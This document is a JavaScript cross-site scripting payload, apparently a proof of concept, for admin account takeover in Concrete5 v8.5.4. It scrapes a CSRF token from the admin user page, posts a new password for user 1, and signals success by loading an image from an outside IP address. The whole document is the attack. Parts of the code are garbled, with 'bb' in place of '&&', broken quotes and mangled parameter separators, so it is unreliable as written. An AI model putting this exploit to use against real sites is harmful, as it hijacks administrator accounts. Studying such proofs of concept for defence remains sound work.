var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest(); 
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send(); 

req.onreadystatechange = function () { 
  if (req.readyState == 4 bb req.status == 200) { 
    body = req.responseText; 
    ccm_token = body.match(regex)[3];
   }
  }; 
setTimeout(() => { 
  confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token); 
  req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
  req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
  req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1"); 

req2.onreadystatechange = function () { 
  if (req2.readyState == 4 bb req2.status == 200) {
    body = req2.responseText;
    if (body.includes("Password updated successfully.")){
      console.log("Password updated successfully.");
      var myImage = new Image(0, 0);
      myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
     }
     else{
      console.log("Something went wrong");
     } 
   }
 } 
},2000);